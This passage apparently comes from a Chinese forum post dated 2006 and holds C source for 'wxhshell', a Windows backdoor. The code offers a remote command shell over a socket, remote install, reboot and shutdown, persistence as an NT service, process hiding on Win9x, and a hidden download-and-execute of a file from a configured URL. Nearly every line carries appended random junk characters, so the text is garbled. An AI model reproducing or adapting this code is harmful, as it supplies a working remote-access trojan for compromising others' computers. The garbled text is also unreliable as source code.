  // 安装 )%;#~\A  
  case 'i': { pSQ3 SM  
    if(Install()) {eIE|   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tRbZ^5x\@  
    else #Vul#JHW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #.9Xkn9S  
    break; BxZ}YS:  
    } 7`X"B*`~b  
  // 卸载 Uvf-h4^J]:  
  case 'r': { /qI80KVnN  
    if(Uninstall()) p: sn>Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;oh88,*'  
    else a9QaFs"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @pytHN8( $  
    break; 1{o CMq/v  
    } -# <,i '  
  // 显示 wxhshell 所在路径 z-7F,$  
  case 'p': { P%Q}R[Q  
    char svExeFile[MAX_PATH]; i=o>Bl@f  
    strcpy(svExeFile,"\n\r"); U{>!`RN  
      strcat(svExeFile,ExeFile); 1b6gTfU  
        send(wsh,svExeFile,strlen(svExeFile),0); UeHS4cW  
    break; lBQ|=  
    } rUlpo|B  
  // 重启 'U1r}.+b>  
  case 'b': { "j$}'uK<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [FiXsYb.8  
    if(Boot(REBOOT)) <@*mFq0,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  C&e  
    else { % Pa-fee  
    closesocket(wsh); Crpk q/M  
    ExitThread(0); GmAE!+"  
    } DMf^>{[  
    break; DT9i<kl  
    } v{% /aw  
  // 关机 "a,Tc2xk  
  case 'd': { ` |]6<<'iW  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <V6#)^Or  
    if(Boot(SHUTDOWN)) 9s*Lzi[}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E\V>3rse  
    else { ni%^w(J3Q  
    closesocket(wsh); U#F(#3/  
    ExitThread(0); *D<sk7  
    } }FM<uBKW  
    break; Ccc6 ko_  
    } )@K|Co  
  // 获取shell //LXbP3/  
  case 's': { ;V@} oD+  
    CmdShell(wsh); `gss(o1}  
    closesocket(wsh); { @-Q1  
    ExitThread(0); ?: meix  
    break; (4g; -*N  
  } ]/$tt@h  
  // 退出 'rR\H2b   
  case 'x': { ;m`I}h<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e#zGLxa  
    CloseIt(wsh); S0 yPg9v  
    break; er qm=)  
    } P$pl  
  // 离开 P?0b-Qr$a  
  case 'q': { zkd#vAY(A  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _K;rM7  
    closesocket(wsh); O-y"]Wrv  
    WSACleanup(); ?QuFRl,ZJ  
    exit(1); xxV{1, H2  
    break; +=}% 7o  
        } e.HN%LrhS  
  } <0kRky$  
  } (g4g-"rc  
!Uj !Oy  
  // 提示信息 +Nza@B d  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cnIy*!cJs  
} [9LYR3 p  
  } 2l!"OiB.P  
r?[mn^Bo5  
  return; F~DG:x~  
} JI*ikco-  
S3J6P2P  
// shell模块句柄 ,LMme}FFeb  
int CmdShell(SOCKET sock) & 9?vQq|%  
{ C8t+-p  
STARTUPINFO si; \`XJz{Lm]  
ZeroMemory(&si,sizeof(si)); =riP~%_ML)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aIfog+Lp  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3oKqj>  
PROCESS_INFORMATION ProcessInfo; * e 8V4P  
char cmdline[]="cmd"; {T^'&W>8G8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); FF_$)%YUp  
  return 0; XsR%_eT  
} +2?0]6EQ  
jOuv\$  
// 自身启动模式 Y3Qq'FN!I  
int StartFromService(void) )5&m:R9  
{ vEgJmHv;  
typedef struct J}YI-t  
{ E"" /dC:B  
  DWORD ExitStatus; ?"C]h s  
  DWORD PebBaseAddress; \E#r[9F{  
  DWORD AffinityMask; &U,f~KJ  
  DWORD BasePriority; UwM}!K7)G  
  ULONG UniqueProcessId; [7Kn$OfP  
  ULONG InheritedFromUniqueProcessId; T.|0;Eb  
}   PROCESS_BASIC_INFORMATION; rxz3Mqg  
ad~ qr n\  
PROCNTQSIP NtQueryInformationProcess; , m\0IgZdz  
C )I"yeS.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DQ9s57VxC!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T,IV)aq  
wM yPR_  
  HANDLE             hProcess; #k"[TCQ>  
  PROCESS_BASIC_INFORMATION pbi; ( ou:"Y  
sXydMk`J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Pw7'6W1  
  if(NULL == hInst ) return 0; YVaQ3o|!  
2h:f6=)r/u  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 05zHLj  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~XxD[T5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C= m Y  
D-~Jj&7  
  if (!NtQueryInformationProcess) return 0; iwVra"y  
K;97/"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Xo*$|9[.  
  if(!hProcess) return 0; 6X jUb  
-j$l@2g  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %F4Q|  
FlgB-qR]<n  
  CloseHandle(hProcess); E:o:)h?$  
D4vmBVT  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3Mcz9exY  
if(hProcess==NULL) return 0; U-? ^B*<  
=ddx/zN  
HMODULE hMod; p}.b#{HJ  
char procName[255]; n=SZ8Rj7  
unsigned long cbNeeded; ,G:4H%?  
zo5.}mr+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F*w|/-e  
.J@[v  
  CloseHandle(hProcess); nn   
EGDE4n5>I  
if(strstr(procName,"services")) return 1; // 以服务启动 C&st7. (k  
-#o+x Jj  
  return 0; // 注册表启动 m Zh VpIUO  
} 6P~"7k  
q7]WR(e  
// 主模块 0>;#vEF*1  
int StartWxhshell(LPSTR lpCmdLine) '?>eW 2d  
{ '-S&i{H  
  SOCKET wsl; ^(\Gonf<  
BOOL val=TRUE; 0B4(t6o  
  int port=0; ]dK]a:S  
  struct sockaddr_in door; *0hiPj:  
i]-gO  
  if(wscfg.ws_autoins) Install(); F^NR qE  
ZYt __N  
port=atoi(lpCmdLine); <D dHP  
0V#t ;`Q3  
if(port<=0) port=wscfg.ws_port; )[)]@e  
Vtg/,1KQ  
  WSADATA data; 1b7xw#gLx  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,SM- Z`'  
:I'Ezxv|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -Wn.@bz6B  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '*XNgvX  
  door.sin_family = AF_INET; QBw ZfX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); QO7:iSZJ  
  door.sin_port = htons(port); by U\I5  
iXm||?Rnx  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^0|NmMJ]  
closesocket(wsl); sBb.Y k  
return 1; -n *>zGc  
} ,4Fqvg  
pG( knu  
  if(listen(wsl,2) == INVALID_SOCKET) { y9L#@   
closesocket(wsl); WhZaq  
return 1; B#?2,  
} n2{{S(N  
  Wxhshell(wsl); @."o:K  
  WSACleanup(); I PVzV\o  
|3,V%>z  
return 0; |3s&Y`x-D  
k4$q|x7+%  
} KY`96~z  
xN m32~  
// 以NT服务方式启动 _0*>I1F~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p},Fwbl  
{ =]QH78\3  
DWORD   status = 0; 7Hl_[n|  
  DWORD   specificError = 0xfffffff; ^CPfo/!  
M91lV(Z   
  serviceStatus.dwServiceType     = SERVICE_WIN32; k<| l \]w  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Dw=Z_+J  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /plUzy2Yu  
  serviceStatus.dwWin32ExitCode     = 0; iL_F*iK5  
  serviceStatus.dwServiceSpecificExitCode = 0; @sHw+to|p)  
  serviceStatus.dwCheckPoint       = 0; z>33O5U  
  serviceStatus.dwWaitHint       = 0; +w.Kv ;  
_qeuVi=A  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); VMIX$#  
  if (hServiceStatusHandle==0) return; 9I\3T6&tr  
!1'-'Q@f  
status = GetLastError(); FMd LkyK;  
  if (status!=NO_ERROR) %p2x^air  
{ x"8ey|@&,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5g1M_8e'+  
    serviceStatus.dwCheckPoint       = 0; K`,d$  
    serviceStatus.dwWaitHint       = 0; (bx\4Ws  
    serviceStatus.dwWin32ExitCode     = status; e4Ox`gLa*p  
    serviceStatus.dwServiceSpecificExitCode = specificError; B^_Chj*m  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); PGPbpl&\t  
    return; I26gGp  
  } %Sn6*\z  
cN WcNMm  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =/g$bZ  
  serviceStatus.dwCheckPoint       = 0; Yc82vSG'  
  serviceStatus.dwWaitHint       = 0; WYC1rfd=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); As+;qNO  
} 0R}Sw[M.  
>_`D3@Rz  
// 处理NT服务事件,比如:启动、停止 [DxefYyI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ZSRR lkU  
{ ls24ccOs  
switch(fdwControl) l^!A  
{ !p,hy `  
case SERVICE_CONTROL_STOP: G|-\T(&J  
  serviceStatus.dwWin32ExitCode = 0;  oKYhE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; aw/7Z`   
  serviceStatus.dwCheckPoint   = 0; @mx$sNDkL  
  serviceStatus.dwWaitHint     = 0; \$'m ^tVU  
  { 7y)=#ZG'R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *1W, M zg  
  } 7<:Wq=e!r  
  return; 3_MS'&M  
case SERVICE_CONTROL_PAUSE: V[Rrst0yo  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +lW}ixt  
  break; u\XkXS`  
case SERVICE_CONTROL_CONTINUE: 8pPC 9ew\=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^.#X<8hr  
  break; 3kiE3*H  
case SERVICE_CONTROL_INTERROGATE: 9Yl8n dP^E  
  break; a_{io`h3&  
}; 0TO_1 0D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eOehgU5x  
} )[^y t0%  
\- =^]]b=  
// 标准应用程序主函数 "%E-X:Il#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y|6@-:B.  
{ `~ _H=l9{  
OK-sT7But  
// 获取操作系统版本 E69:bQ94u  
OsIsNt=GetOsVer(); PZuq'^p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i Y*o;z,~  
U|J$?aFDr  
  // 从命令行安装 5fu+rU-#  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,\lY Px\P[  
"Ap$ Jl B  
  // 下载执行文件 vm\wO._  
if(wscfg.ws_downexe) { 9q1HSJ1)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5wH54g j}  
  WinExec(wscfg.ws_filenam,SW_HIDE); TCHqe19?  
} v7;J%9=0D`  
;%u_ ;,((  
if(!OsIsNt) { Dxt),4 %P  
// 如果时win9x,隐藏进程并且设置为注册表启动 +Y>"/i. N  
HideProc(); [eNkU">}  
StartWxhshell(lpCmdLine); : 8^M5}  
} _8Nw D_"  
else 1Xy8|OFc[  
  if(StartFromService()) 6?V<BgCC  
  // 以服务方式启动 a)!![X?\  
  StartServiceCtrlDispatcher(DispatchTable); 9- xlvU,o  
else R:'Ou:Mh  
  // 普通方式启动 "1XXE3^^  
  StartWxhshell(lpCmdLine); x&C%4Y_]  
=db'#m{$  
return 0; I@0z/4H``  
}
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只看该作者 1 发表于: 2006-10-10
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